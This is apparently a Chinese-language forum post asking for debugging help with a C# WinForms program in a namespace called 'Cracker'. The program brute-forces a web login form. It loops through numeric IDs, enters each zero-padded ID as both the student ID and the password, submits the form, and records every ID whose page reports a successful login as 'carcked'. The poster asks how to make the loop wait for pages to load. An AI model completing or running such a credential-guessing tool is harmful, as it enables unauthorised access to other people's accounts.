倾家荡产··跪求问题解决方法··

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Text.RegularExpressions; namespace Cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        bool i = false;
        private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
        {
            i = true;
        }        private void Form1_Load(object sender, EventArgs e)
           {
       
         
          
        }        private void button1_Click(object sender, EventArgs e)
        {
            long id;
            for (id = 11111; id <=222222; id++)
            {
                webBrowser1.Navigate("www。baiidu。com");
                while (i == false)
                {
                    System.Threading.Thread.CurrentThread.Join(1000);                 }
                MessageBox.Show("网页加载完毕！");
                HtmlElement tbUserid = webBrowser1.Document.All["stuid"];
                HtmlElement tbPasswd = webBrowser1.Document.All["pwd"];
                tbUserid.SetAttribute("value", id.ToString("D9"));
                tbPasswd.SetAttribute("value", id.ToString("D9"));
                foreach (HtmlElement elem in webBrowser1.Document.GetElementsByTagName("input"))
                {                    String nameStr = elem.GetAttribute("type");
                    if (nameStr == "submit")
                    {
                        elem.InvokeMember("Click");
                    }
                }
                i = false;
                while (i == false)
                {
                    MessageBox.Show("网页正在加载`````");                }
                string str = webBrowser1.Document.Body.InnerHtml;
                Regex reg = new Regex("登录成功!");
                Match mat = reg.Match(str);
                if (mat.Success == true)
                {
                    listBox1.Items.Add(id.ToString("D9") + "is carcked!");
                }
            }
        }
    }
    
}
如果想让网页下载完毕时（既i=true时）再填表单，而不让while陷入死循环System.Threading.Thread.CurrentThread.Join(1000);应该怎么写？请高手指教啊！